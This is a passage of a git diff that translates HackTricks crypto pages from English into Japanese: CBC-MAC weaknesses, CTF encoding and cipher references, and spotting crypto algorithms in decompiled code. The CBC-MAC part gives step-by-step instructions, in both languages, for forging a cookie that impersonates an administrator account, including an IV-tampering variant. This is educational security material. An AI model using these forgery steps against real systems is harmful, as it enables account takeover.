in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +メッセージmのCBC-MACを計算するには、ゼロ初期化ベクトルでCBCモードでmを暗号化し、最後のブロックを保持します。以下の図は、秘密鍵kとブロック暗号Eを使用して、ブロックからなるメッセージのCBC-MACの計算を概略しています![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# 脆弱性 -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MACでは通常**使用されるIVは0**です。\ +これは問題です。なぜなら、2つの既知のメッセージ(`m1`と`m2`)が独立して2つの署名(`s1`と`s2`)を生成するからです。したがって: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +次に、m1とm2を連結したメッセージ(m3)は2つの署名(s31とs32)を生成します: - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**これは暗号化のキーを知らなくても計算可能です。** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +あなたが**Administrator**という名前を**8バイト**のブロックで暗号化していると想像してください: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +**Administ**(m1)というユーザー名を作成し、署名(s1)を取得できます。\ +次に、`rator\00\00\00 XOR s1`の結果を持つユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`がs32を生成します。\ +今、s32を**Administrator**というフルネームの署名として使用できます。 -### Summary +### まとめ -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. ユーザー名**Administ**(m1)の署名s1を取得します。 +2. ユーザー名**rator\x00\x00\x00 XOR s1 XOR 0**の署名s32を取得します。** +3. クッキーをs32に設定すると、**Administrator**ユーザーの有効なクッキーになります。 -# Attack Controlling IV +# IVの制御攻撃 -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +使用されるIVを制御できる場合、攻撃は非常に簡単になる可能性があります。\ +クッキーが単に暗号化されたユーザー名である場合、ユーザー「**administrator**」を偽装するために、ユーザー「**Administrator**」を作成し、そのクッキーを取得できます。\ +今、IVを制御できる場合、IVの最初のバイトを変更することができ、**IV\[0] XOR "A" == IV'\[0] XOR "a"**となり、ユーザー**Administrator**のクッキーを再生成できます。このクッキーは、初期**IV**を使用してユーザー**administrator**を**偽装**するのに有効です。 -## References +## 参考文献 -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..349646c12 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**Googleで検索**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -25,7 +25,7 @@ ## Encoders -Most of encoded data can be decoded with these 2 ressources: +ほとんどのエンコードされたデータは、これらの2つのリソースでデコードできます: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - とても良い! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +これらのすべてのベースを確認してください: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 デッド: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse - +### モールス ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 デッド: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### ドボラックキーボード ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +文字をその数値に変換する ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### アフィン暗号エンコード -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +文字を数に変換 `(ax+b)%26` (_a_ と _b_ はキーで、_x_ は文字) そして結果を文字に戻す ``` krodfdudfrod ``` +### SMSコード -### SMS Code +**Multitap** [は文字を置き換えます](https://www.dcode.fr/word-letter-change) それぞれのキーコードによって定義された繰り返し数字で、モバイル [電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher) 上で(このモードはSMSを書くときに使用されます)。\ +例えば: 2=A, 22=B, 222=C, 3=D...\ +このコードは、\*\*いくつかの数字が繰り返されているのが見えるので\*\*識別できます。 -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +このコードをデコードするには: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### ベーコンコード +各文字を4つのAまたはB(または1と0)に置き換えます。 ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - -### Runes +### ルーン ![](../images/runes.jpg) -## Compression +## 圧縮 -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** と **Raw Inflate** (両方ともCyberchefで見つけることができます) は、ヘッダーなしでデータを圧縮および解凍できます。 -## Easy Crypto +## 簡単な暗号 -### XOR - Autosolver +### XOR - オートソルバー - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) -### Bifid - -A keywork is needed +### ビフィド +キーワードが必要です ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +キーワードが必要です ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## 強力な暗号 -### Fernet - -2 base64 strings (token and key) +### フェルネット +2つのbase64文字列(トークンとキー) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) ### Samir Secret Sharing -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - +秘密はX部分に分割され、回復するにはY部分が必要です (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### OpenSSLブルートフォース - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## ツール - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..e926ab250 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# 暗号化/圧縮アルゴリズム -## Cryptographic/Compression Algorithms +## 暗号化/圧縮アルゴリズム {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## アルゴリズムの特定 -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +コードが**右シフトと左シフト、XORおよびいくつかの算術演算**を使用している場合、それは**暗号化アルゴリズム**の実装である可能性が高いです。ここでは、**各ステップを逆にすることなく使用されているアルゴリズムを特定する方法**をいくつか示します。 -### API functions +### API関数 **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +この関数が使用されている場合、第二のパラメータの値を確認することで**使用されているアルゴリズム**を見つけることができます: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +可能なアルゴリズムとその割り当てられた値の表はここで確認できます: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +指定されたデータバッファを圧縮および解凍します。 **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +[ドキュメントから](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext**関数は、特定の暗号サービスプロバイダー(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択されたCSPを使用するCryptoAPI**関数への呼び出しで使用されます。 **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +データストリームのハッシュ化を開始します。この関数が使用されている場合、第二のパラメータの値を確認することで**使用されているアルゴリズム**を見つけることができます: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +可能なアルゴリズムとその割り当てられた値の表はここで確認できます: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### コード定数 -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +時には、特別でユニークな値を使用する必要があるため、アルゴリズムを特定するのが非常に簡単です。 ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +最初の定数をGoogleで検索すると、次のような結果が得られます: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +したがって、逆コンパイルされた関数は**sha256計算機**であると推測できます。\ +他の定数を検索すれば、(おそらく)同じ結果が得られます。 -### data info +### データ情報 -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +コードに重要な定数がない場合、**.dataセクションから情報を読み込んでいる可能性があります**。\ +そのデータにアクセスし、**最初のDWORDをグループ化**し、前のセクションで行ったようにGoogleで検索できます: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +この場合、**0xA56363C6**を検索すると、**AESアルゴリズムのテーブル**に関連していることがわかります。 -## RC4 **(Symmetric Crypt)** +## RC4 **(対称暗号)** -### Characteristics +### 特徴 -It's composed of 3 main parts: +3つの主要な部分で構成されています: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **初期化ステージ/**: **0x00から0xFFまでの値のテーブルを作成**します(合計256バイト、0x100)。このテーブルは一般に**置換ボックス**(またはSBox)と呼ばれます。 +- **スクランブリングステージ**: 前に作成したテーブルを**ループ**し(0x100回のイテレーションのループ)、各値を**半ランダム**なバイトで修正します。この半ランダムなバイトを作成するために、RC4の**キーが使用されます**。RC4の**キー**は**1バイトから256バイトの長さ**である可能性がありますが、通常は5バイト以上が推奨されます。一般的に、RC4のキーは16バイトの長さです。 +- **XORステージ**: 最後に、平文または暗号文は**前に作成された値とXORされます**。暗号化と復号化の関数は同じです。これには、作成された256バイトを必要な回数だけループします。これは通常、逆コンパイルされたコードで**%256(mod 256)**として認識されます。 > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **逆アセンブル/逆コンパイルされたコードでRC4を特定するには、サイズ0x100の2つのループ(キーを使用)を確認し、その後、2つのループで前に作成された256の値と入力データのXORを行うことを確認します。おそらく%256(mod 256)を使用します。** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **初期化ステージ/置換ボックス:**(カウンタとして使用される256の数と、256文字の各場所に0が書かれていることに注意) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **スクランブリングステージ:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **XORステージ:** ![](<../../images/image (904).png>) -## **AES (Symmetric Crypt)** +## **AES(対称暗号)** -### **Characteristics** +### **特徴** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- **置換ボックスとルックアップテーブルの使用** +- **特定のルックアップテーブル値**(定数)の使用によりAESを**区別することが可能**です。_定数は**バイナリに保存**されるか、_ _**動的に作成**される可能性があります。_ +- **暗号化キー**は**16で割り切れる**必要があります(通常32B)し、通常は16Bの**IV**が使用されます。 -### SBox constants +### SBox定数 ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(対称暗号)** -### Characteristics +### 特徴 -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- それを使用するマルウェアはあまり見られませんが、例(Ursnif)があります。 +- アルゴリズムがSerpentかどうかをその長さ(非常に長い関数)に基づいて簡単に判断できます。 -### Identifying +### 特定 -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +次の画像では、定数**0x9E3779B9**が使用されていることに注意してください(この定数は**TEA**(Tiny Encryption Algorithm)などの他の暗号アルゴリズムでも使用されます)。\ +また、**ループのサイズ**(**132**)と**逆アセンブル**命令および**コード**例における**XOR操作の数**にも注意してください: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +前述のように、このコードは**非常に長い関数**として任意の逆コンパイラ内で視覚化できます。内部に**ジャンプ**がないためです。逆コンパイルされたコードは次のように見えることがあります: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +したがって、**マジックナンバー**と**初期XOR**を確認し、**非常に長い関数**を見て、**長い関数のいくつかの命令を実装と比較する**ことで、このアルゴリズムを特定することが可能です(左に7シフトし、22回左回転するなど)。 -## RSA **(Asymmetric Crypt)** +## RSA **(非対称暗号)** -### Characteristics +### 特徴 -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- 対称アルゴリズムよりも複雑です。 +- 定数はありません!(カスタム実装は特定が難しい) +- KANAL(暗号アナライザー)はRSAに関するヒントを示すことができず、定数に依存しています。 -### Identifying by comparisons +### 比較による特定 ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- 行11(左)には`+7) >> 3`があり、行35(右)には`+7) / 8`があります。 +- 行12(左)は`modulus_len < 0x040`を確認しており、行36(右)は`inputLen+11 > modulusLen`を確認しています。 -## MD5 & SHA (hash) +## MD5 & SHA(ハッシュ) -### Characteristics +### 特徴 -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3つの関数:Init、Update、Final +- 初期化関数が似ています。 -### Identify +### 特定 **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +定数を確認することで両方を特定できます。sha_initにはMD5にはない1つの定数があります: ![](<../../images/image (406).png>) **MD5 Transform** -Note the use of more constants +より多くの定数の使用に注意してください。 ![](<../../images/image (253) (1) (1).png>) -## CRC (hash) +## CRC(ハッシュ) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- 小さく、データの偶発的な変更を見つけるために効率的です。 +- ルックアップテーブルを使用します(したがって、定数を特定できます)。 -### Identify +### 特定 -Check **lookup table constants**: +**ルックアップテーブル定数**を確認してください: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +CRCハッシュアルゴリズムは次のようになります: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib(圧縮) -### Characteristics +### 特徴 -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- 認識可能な定数はありません。 +- アルゴリズムをPythonで書いて、オンラインで類似のものを検索してみることができます。 -### Identify +### 特定 -The graph is quiet large: +グラフはかなり大きいです: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +それを認識するための**3つの比較**を確認してください: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 6699ec26f..f98a533bb 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,24 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# パックされたバイナリの識別 -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the 